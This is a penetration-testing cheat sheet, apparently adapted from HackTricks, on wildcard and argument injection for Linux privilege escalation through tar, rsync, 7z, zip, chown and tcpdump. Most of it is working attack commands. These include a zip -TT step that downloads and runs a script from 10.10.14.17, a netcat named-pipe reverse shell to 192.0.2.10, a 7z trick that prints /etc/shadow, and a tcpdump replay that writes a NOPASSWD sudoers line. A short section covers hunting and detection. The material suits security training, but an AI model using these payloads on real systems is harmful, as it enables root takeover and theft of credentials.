daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

wildcards-spare-tricks.md (16103B)


      1 ---
      2 title: "Wildcards Spare Tricks"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/interesting-files-permissions/wildcards-spare-tricks.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Wildcards Spare Tricks
     14 
     15 > Wildcard (aka *glob*) **argument injection** happens when a privileged script runs a Unix binary such as `tar`, `chown`, `rsync`, `zip`, `7z`, … with an unquoted wildcard like `*`.  
     16 > Since the shell expands the wildcard **before** executing the binary, an attacker who can create files in the working directory can craft filenames that begin with `-` so they are interpreted as **options instead of data**, effectively smuggling arbitrary flags or even commands.<sup>[[6]](#references)</sup>
     17 > This page collects the most useful primitives, recent research and modern detections for 2023-2025.
     18 
     19 ## chown / chmod
     20 
     21 You can **copy the owner/group or permission bits from a reference file** by abusing the `--reference` flag when an option-looking filename is expanded by a wildcard.<sup>[[6]](#references)[[8]](#references)[[9]](#references)</sup>
     22 
     23 ```bash
     24 # attacker-controlled directory
     25 touch -- .drf.php
     26 chmod 777 -- .drf.php
     27 touch -- "--reference=.drf.php"   # ← filename becomes an argument
     28 ```
     29 
     30 When root later executes something like:
     31 
     32 ```bash
     33 chown -R alice:alice *.php
     34 chmod -R 644 *.php
     35 ```
     36 
     37 The expanded `--reference=.drf.php` overrides the explicit owner/mode, causing matching files to inherit metadata from `.drf.php` (and, with the setup above, making them writable by the attacker).<sup>[[6]](#references)</sup>
     38 
     39 *PoC & tool*: [`wildpwn`](https://github.com/localh0t/wildpwn) (combined attack).<sup>[[7]](#references)</sup>
     40 See also the classic DefenseCode paper for details.<sup>[[6]](#references)</sup>
     41 
     42 ---
     43 
     44 ## tar
     45 
     46 ### GNU tar
     47 
     48 Execute arbitrary commands by abusing GNU tar's **checkpoint** feature and checkpoint actions.<sup>[[10]](#references)</sup>
     49 
     50 ```bash
     51 # attacker-controlled directory
     52 echo 'echo pwned > /tmp/pwn' > shell.sh
     53 chmod +x shell.sh
     54 touch -- "--checkpoint=1"
     55 touch -- "--checkpoint-action=exec=sh shell.sh"
     56 ```
     57 
     58 Once root runs e.g. `tar -czf /root/backup.tgz *`, `shell.sh` is executed as root.<sup>[[10]](#references)</sup>
     59 
     60 ### bsdtar / macOS compressor override caveat
     61 
     62 The default `tar` on recent macOS (based on `libarchive`) does *not* provide GNU tar's `--checkpoint` interface, but bsdtar documents **--use-compress-program** for selecting an external compressor.<sup>[[11]](#references)</sup>
     63 
     64 ```bash
     65 # macOS example
     66 touch -- "--use-compress-program=sh"
     67 ```
     68 When a privileged script runs `tar -cf backup.tar *`, this selects `sh` through the victim's `PATH` and bsdtar starts it as the compressor.<sup>[[11]](#references)</sup> This proves option injection but is not, by itself, a reliable arbitrary-command primitive: a wildcard-created filename cannot contain `/`, and bsdtar supplies archive data rather than an attacker-selected shell command. Code execution additionally requires a controllable executable resolved through `PATH` or another argument channel that can name a useful program.
     69 
     70 ---
     71 
     72 ## rsync
     73 
     74 `rsync` lets you override the remote shell or the remote binary via command-line flags such as `-e` and `--rsync-path`.<sup>[[12]](#references)</sup>
     75 
     76 ```bash
     77 # attacker-controlled directory
     78 touch -- "-e sh shell.sh"        # -e <cmd> => use <cmd> instead of ssh
     79 ```
     80 
     81 If root later archives the directory with `rsync -az * backup:/srv/`, the injected flag can run a shell through the remote-shell mechanism.<sup>[[7]](#references)[[12]](#references)</sup>
     82 
     83 *PoC*: [`wildpwn`](https://github.com/localh0t/wildpwn) (`rsync` mode).
     84 
     85 ---
     86 
     87 ## 7-Zip / 7z / 7za
     88 
     89 Even when the privileged script *defensively* prefixes the wildcard with `--` (to stop option parsing), the 7-Zip CLI accepts **file list files** by prefixing the filename with `@`. Combining that with a symlink lets you *exfiltrate arbitrary files*.<sup>[[13]](#references)</sup>
     90 
     91 ```bash
     92 # directory writable by low-priv user
     93 cd /path/controlled
     94 ln -s /etc/shadow   root.txt      # file we want to read
     95 touch @root.txt                  # tells 7z to use root.txt as file list
     96 ```
     97 
     98 If root executes something like:
     99 
    100 ```bash
    101 7za a /backup/`date +%F`.7z -t7z -snl -- *
    102 ```
    103 
    104 7-Zip will attempt to read `root.txt` (→ `/etc/shadow`) as a file list and will bail out, **printing the contents to stderr**.<sup>[[13]](#references)</sup>
    105 
    106 This survives `-- *` because the 7-Zip CLI explicitly accepts both regular filenames and `@listfiles` as positional inputs, so a literal filename such as `@root.txt` is still treated specially.<sup>[[13]](#references)</sup>
    107 
    108 ---
    109 
    110 ## zip
    111 
    112 Two very practical primitives exist when an application passes user-controlled filenames to `zip` (either via a wildcard or by enumerating names without `--`).<sup>[[2]](#references)[[3]](#references)</sup>
    113 
    114 - RCE via test hook: `-T` enables “test archive” and `-TT <cmd>` replaces the tester with an arbitrary program (long form: `--unzip-command <cmd>`). If you can inject filenames that start with `-`, split the flags across distinct filenames so short-options parsing works.<sup>[[2]](#references)[[3]](#references)</sup>
    115 
    116 ```bash
    117 # Attacker-controlled filenames (e.g., in an upload directory)
    118 # 1) A file literally named: -T
    119 # 2) A file named: -TT wget 10.10.14.17 -O s.sh; bash s.sh; echo x
    120 # 3) Any benign file to include (e.g., data.pcap)
    121 # When the privileged code runs: zip out.zip <files...>
    122 # zip will execute: wget 10.10.14.17 -O s.sh; bash s.sh; echo x
    123 ```
    124 
    125 Notes
    126 - Do NOT try a single filename like `'-T -TT <cmd>'` — short options are parsed per character and it will fail. Use separate tokens as shown.<sup>[[3]](#references)</sup>
    127 - If slashes are stripped from filenames by the app, fetch from a bare host/IP (default path `/index.html`) and save locally with `-O`, then execute.<sup>[[3]](#references)</sup>
    128 - You can debug parsing with `-sc` (show processed argv) or `-h2` (more help) to understand how your tokens are consumed.<sup>[[3]](#references)</sup>
    129 
    130 Example (local behavior on zip 3.0).<sup>[[3]](#references)</sup>
    131 
    132 ```bash
    133 zip test.zip -T '-TT wget 10.10.14.17/shell.sh' test.pcap    # fails to parse
    134 zip test.zip -T '-TT wget 10.10.14.17 -O s.sh; bash s.sh' test.pcap  # runs wget + bash
    135 ```
    136 
    137 - Data exfil/leak: If the web layer echoes `zip` stdout/stderr (common with naive wrappers), injected flags like `--help` or failures from bad options will surface in the HTTP response, confirming command-line injection and aiding payload tuning.<sup>[[3]](#references)</sup>
    138 
    139 ---
    140 
    141 ## Additional option-injection candidates
    142 
    143 When a privileged wrapper expands a writable directory with a wildcard, these documented option hooks are worth checking.<sup>[[15]](#references)[[16]](#references)[[17]](#references)</sup>
    144 
    145 | Binary | Flag to abuse | Effect |
    146 | --- | --- | --- |
    147 | `flock` | `-c <cmd>` | Pass a command string to a shell |
    148 | `git`   | `-c core.sshCommand=<cmd>` | Use `<cmd>` instead of SSH for Git fetch/push |
    149 | `scp`   | `-S <program>` | Use an alternate SSH-compatible connection program |
    150 
    151 These primitives are useful checks beyond the *tar/rsync/zip* classics.
    152 
    153 ---
    154 
    155 ## Hunting vulnerable wrappers and jobs
    156 
    157 Recent case studies and detection guidance show that wildcard/argv injection is no longer just a **cron + tar** problem.<sup>[[3]](#references)[[4]](#references)[[5]](#references)</sup> The same bug class keeps appearing in:
    158 
    159 - web features that "download everything as zip/tar" from attacker-controlled upload directories
    160 - vendor/appliance debug shells that expose a **tcpdump** wrapper with attacker-controlled filename/filter fields
    161 - backup or rotation jobs that call `tar`, `rsync`, `7z`, `zip`, `chown`, or `chmod` on writable directories
    162 
    163 Useful triage commands (the `pspy` invocation uses its documented process/file-event and interval flags).<sup>[[14]](#references)</sup>
    164 
    165 ```bash
    166 # Hunt for interesting binaries fed with globs or positional user data
    167 rg -n --hidden --follow \
    168   '(tar|bsdtar|rsync|zip|7z|7za|chown|chmod|tcpdump).*(\*|\$@|\$\*)' \
    169   /etc /opt /usr/local /srv 2>/dev/null
    170 
    171 # Watch real argv during cron/systemd execution
    172 pspy64 -pf -i 1000 | rg 'tar|rsync|zip|7z|tcpdump|chown|chmod'
    173 
    174 # Sudoers rules that constrain one argument but still allow extra flags
    175 sudo -l
    176 rg -n 'tcpdump|zip|tar|rsync' /etc/sudoers /etc/sudoers.d 2>/dev/null
    177 ```
    178 
    179 Quick heuristics:
    180 
    181 - `-- *` is a good fix for many GNU tools, but **not** for `7z`/`7za` because `@listfiles` are parsed separately.<sup>[[13]](#references)</sup>
    182 - For `zip`, look for wrappers that enumerate user-controlled filenames directly; short-option splitting (`-T` + `-TT <cmd>`) still works even without a shell glob.<sup>[[2]](#references)[[3]](#references)</sup>
    183 - For `tcpdump`, pay special attention to wrappers that let you control **output file names**, **rotation settings**, or **capture-file replay** arguments.<sup>[[18]](#references)</sup>
    184 
    185 ---
    186 
    187 ## tcpdump rotation hooks (-G/-W/-z): RCE via argv injection in wrappers
    188 
    189 When a restricted shell or vendor wrapper builds a `tcpdump` command line by concatenating user-controlled fields (e.g., a "file name" parameter) without strict quoting/validation, you can smuggle extra `tcpdump` flags. The combo of `-G` (time-based rotation), `-W` (limit number of files), and `-z <cmd>` (post-rotate command) yields arbitrary command execution as the user running tcpdump (often root on appliances).<sup>[[1]](#references)[[4]](#references)[[18]](#references)</sup>
    190 
    191 Preconditions:
    192 
    193 - You can influence `argv` passed to `tcpdump` (e.g., via a wrapper like `/debug/tcpdump --filter=... --file-name=<HERE>`).<sup>[[4]](#references)[[18]](#references)</sup>
    194 - The wrapper does not sanitize spaces or `-`-prefixed tokens in the file name field.<sup>[[4]](#references)</sup>
    195 
    196 Classic PoC (executes a reverse shell script from a writable path).<sup>[[4]](#references)[[18]](#references)</sup>
    197 
    198 ```bash
    199 # Reverse shell payload saved on the device (e.g., USB, tmpfs)
    200 cat > /mnt/disk1_1/rce.sh <<'EOF'
    201 #!/bin/sh
    202 rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
    203 EOF
    204 chmod +x /mnt/disk1_1/rce.sh
    205 
    206 # Inject additional tcpdump flags via the unsafe "file name" field
    207 /debug/tcpdump --filter="udp port 1234" \
    208   --file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
    209 
    210 # On the attacker host
    211 nc -6 -lvnp 4444 &
    212 # Then send any packet that matches the BPF to force a rotation
    213 printf x | nc -u -6 [victim_ipv6] 1234
    214 ```
    215 
    216 Details:
    217 
    218 - `-G 1` rotates every second, and `-W 1` stops after one rotated file; the capture must receive a matching packet before rotation.<sup>[[18]](#references)</sup>
    219 - `-z <cmd>` runs the post-rotate command once per rotation and passes the closed savefile path as an argument; ensure script/interpreter argument handling matches your payload.<sup>[[18]](#references)</sup>
    220 
    221 No-removable-media variants:
    222 
    223 - If you have any other primitive to write files (e.g., a separate command wrapper that allows output redirection), drop your script into a known path and trigger `-z /path/script.sh`; have the script invoke `/bin/sh` itself if needed.<sup>[[18]](#references)</sup>
    224 - If a vendor wrapper lets you choose the rotated path, audit that path control only in combination with a post-rotate command that interprets its savefile argument; path control alone does not execute file contents.<sup>[[18]](#references)</sup>
    225 
    226 ---
    227 
    228 ## sudoers: tcpdump with wildcards/additional args → arbitrary write/read and root
    229 
    230 Example sudoers anti-pattern:<sup>[[3]](#references)</sup>
    231 
    232 ```text
    233 (ALL : ALL) NOPASSWD: /usr/bin/tcpdump -c10 -w/var/cache/captures/*/<GUID-PATTERN> -F/var/cache/captures/filter.<GUID-PATTERN>
    234 ```
    235 
    236 The rule leaves several options available under tcpdump's documented parser:<sup>[[3]](#references)[[18]](#references)</sup>
    237 - The `*` glob and permissive patterns only constrain the first `-w` argument. `tcpdump` accepts multiple `-w` options; the last one wins.<sup>[[3]](#references)[[18]](#references)</sup>
    238 - The rule doesn’t pin other options, so `-Z`, `-r`, `-V`, etc. are allowed.<sup>[[3]](#references)[[18]](#references)</sup>
    239 
    240 The relevant primitives are documented below.<sup>[[3]](#references)[[18]](#references)</sup>
    241 - Override destination path with a second `-w` (first only satisfies sudoers).<sup>[[3]](#references)[[18]](#references)</sup>
    242 
    243 ```bash
    244 sudo tcpdump -c10 -w/var/cache/captures/a/ \
    245   -w /dev/shm/out.pcap \
    246   -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
    247 ```
    248 
    249 - Path traversal inside the first `-w` to escape the constrained tree.<sup>[[3]](#references)</sup>
    250 
    251 ```bash
    252 sudo tcpdump -c10 \
    253   -w/var/cache/captures/a/../../../../dev/shm/out \
    254   -F/var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
    255 ```
    256 
    257 - Force output ownership with `-Z root` (creates root-owned files anywhere).<sup>[[3]](#references)[[18]](#references)</sup>
    258 
    259 ```bash
    260 sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
    261   -w /dev/shm/root-owned \
    262   -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
    263 ```
    264 
    265 - Arbitrary-content write by replaying a crafted PCAP via `-r` (e.g., to drop a sudoers line).<sup>[[3]](#references)[[18]](#references)</sup>
    266 
    267 <details>
    268 <summary>Create a PCAP that contains the exact ASCII payload and write it as root</summary>
    269 
    270 ```bash
    271 # On attacker box: craft a UDP packet stream that carries the target line
    272 printf '\n\nfritz ALL=(ALL:ALL) NOPASSWD: ALL\n' > sudoers
    273 sudo tcpdump -w sudoers.pcap -c10 -i lo -A udp port 9001 &
    274 cat sudoers | nc -u 127.0.0.1 9001; kill %1
    275 
    276 # On victim (sudoers rule allows tcpdump as above)
    277 sudo tcpdump -c10 -w/var/cache/captures/a/ -Z root \
    278   -r sudoers.pcap -w /etc/sudoers.d/1111-aaaa \
    279   -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
    280 ```
    281 
    282 </details>
    283 
    284 - Arbitrary file read/secret leak with `-V <file>` (interprets a list of savefiles). Error diagnostics often echo lines, leaking content.<sup>[[3]](#references)[[18]](#references)</sup>
    285 
    286 ```bash
    287 sudo tcpdump -c10 -w/var/cache/captures/a/ -V /root/root.txt \
    288   -w /tmp/dummy \
    289   -F /var/cache/captures/filter.aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa
    290 ```
    291 
    292 ---
    293 
    294 ## References
    295 
    296 - [1] [GTFOBins - tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/)
    297 - [2] [GTFOBins - zip](https://gtfobins.github.io/gtfobins/zip/)
    298 - [3] [0xdf - HTB Dump: Zip arg injection to RCE + tcpdump sudo misconfig privesc](https://0xdf.gitlab.io/2025/11/04/htb-dump.html)
    299 - [4] [FiberGateway GR241AG - Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/)
    300 - [5] [Elastic - Potential Shell via Wildcard Injection Detected](https://www.elastic.co/guide/en/security/current/prebuilt-rule-8-19-20-potential-shell-via-wildcard-injection-detected.html)
    301 - [6] [Back To The Future: Unix Wildcards Gone Wild (DefenseCode)](https://www.exploit-db.com/papers/33930)
    302 - [7] [wildpwn](https://github.com/localh0t/wildpwn)
    303 - [8] [GNU Coreutils `chown` invocation](https://www.gnu.org/software/coreutils/manual/html_node/chown-invocation.html)
    304 - [9] [GNU Coreutils `chmod` invocation](https://www.gnu.org/software/coreutils/manual/html_node/chmod-invocation.html)
    305 - [10] [GNU tar checkpoints](https://www.gnu.org/software/tar/manual/html_section/checkpoints.html)
    306 - [11] [bsdtar(1) manual](https://man.freebsd.org/cgi/man.cgi?query=bsdtar&sektion=1)
    307 - [12] [rsync(1) manual](https://download.samba.org/pub/rsync/rsync.1)
    308 - [13] [7-Zip command line syntax](https://7-zip.opensource.jp/chm/cmdline/syntax.htm)
    309 - [14] [pspy](https://github.com/DominicBreuker/pspy)
    310 - [15] [flock(1) manual](https://kernel.googlesource.com/pub/scm/utils/util-linux/util-linux/+/refs/tags/v2.41.1/sys-utils/flock.1.adoc)
    311 - [16] [Git configuration documentation](https://git-scm.com/docs/git-config)
    312 - [17] [OpenBSD `scp` manual](https://man.openbsd.org/scp)
    313 - [18] [tcpdump(8) manual](https://man7.org/linux/man-pages/man8/tcpdump.8.html)